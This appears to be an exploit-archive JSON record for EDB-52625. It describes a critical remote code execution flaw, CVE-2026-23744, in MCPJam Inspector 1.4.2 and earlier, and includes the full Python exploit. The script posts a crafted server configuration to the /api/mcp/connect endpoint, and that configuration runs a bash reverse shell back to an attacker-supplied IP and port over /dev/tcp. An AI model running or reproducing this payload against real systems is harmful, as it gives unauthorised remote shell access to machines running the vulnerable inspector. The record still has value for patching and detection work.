{"exploit":{"id":"EDB-52625","name":"MCPJam Inspector - Remote Code Execution (RCE)","description":"MCPJam Inspector - Remote Code Execution (RCE)","cves":["CVE-2026-23744"],"author":"Diamorphine","published":"2026-07-07","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52625","path":"exploits/multiple/webapps/52625.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52625.py","vulnerabilities":[{"id":"CVE-2026-23744","state":"PUBLISHED","title":"REC in MCPJam inspector due to HTTP Endpoint exposes","titleSource":"CVE Program","description":"MCPJam inspector is the local-first development platform for MCP servers. Versions 1.4.2 and earlier are vulnerable to remote code execution (RCE) vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. Since MCPJam inspector by default listens on 0.0.0.0 instead of 127.0.0.1, an attacker can trigger the RCE remotely via a simple HTTP request. Version 1.4.3 contains a patch.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-23744","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-23744"},"updatedAt":"2026-01-16T21:15:53.738Z","retrievedAt":"2026-11-25T16:13:47.470Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52625.png?v=2","url":"https://exploitbin.com/exploits/EDB-52625","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52625/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52625/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: MCPJam Inspector - Remote Code Execution\n# Date: 07/03/2026\n# Exploit Author: Diamorphine\n# Vendor Homepage: https://www.mcpjam.com/\n# Software Link: https://github.com/MCPJam\n# Version: <=1.4.2\n# Tested on: Debian\n# CVE : CVE-2026-23744\n\n\nimport asyncio\nimport httpx\nimport argparse\nfrom urllib.parse import urljoin\n\n\nasync def main(attacker_ip, attacker_port, url):\n    async with httpx.AsyncClient(verify=False) as client:\n        data = {\n            \"serverConfig\": {\n                \"command\": \"bash\",\n                \"args\": [\"-c\", f\"bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1\"],\n                \"env\": {}\n            },\n            \"serverId\": \"Hello666\"\n        }\n\n        ready_url = urljoin(url, \"/api/mcp/connect\")\n        r = await client.post(url=ready_url, json=data)\n        print(r.text)\n\nparser = argparse.ArgumentParser(description=\"Exploit for CVE-2026-23744 MCPJam Inspector - Remote Code Execution\")\n\nparser.add_argument(\"-u\", \"--url\", required=True, help=\"Target host. e.g. http://127.0.0.1:8080\")\nparser.add_argument(\"-l\", \"--lhost\", required=True, help=\"Attacker ip\")\nparser.add_argument(\"-p\", \"--lport\", required=True, help=\"Attacker port\")\n\nargs = parser.parse_args()\n\nif __name__ == '__main__':\n    asyncio.run(main(args.lhost, args.lport, args.url))","sha256":"b67c7ae2086414535f967d879d157990567881d983ce5b8340640c057e46d37b","bytes":1307,"fetchedAt":"2026-11-26T08:57:04.174Z","encoding":"utf-8 (display only; download retains original bytes)"}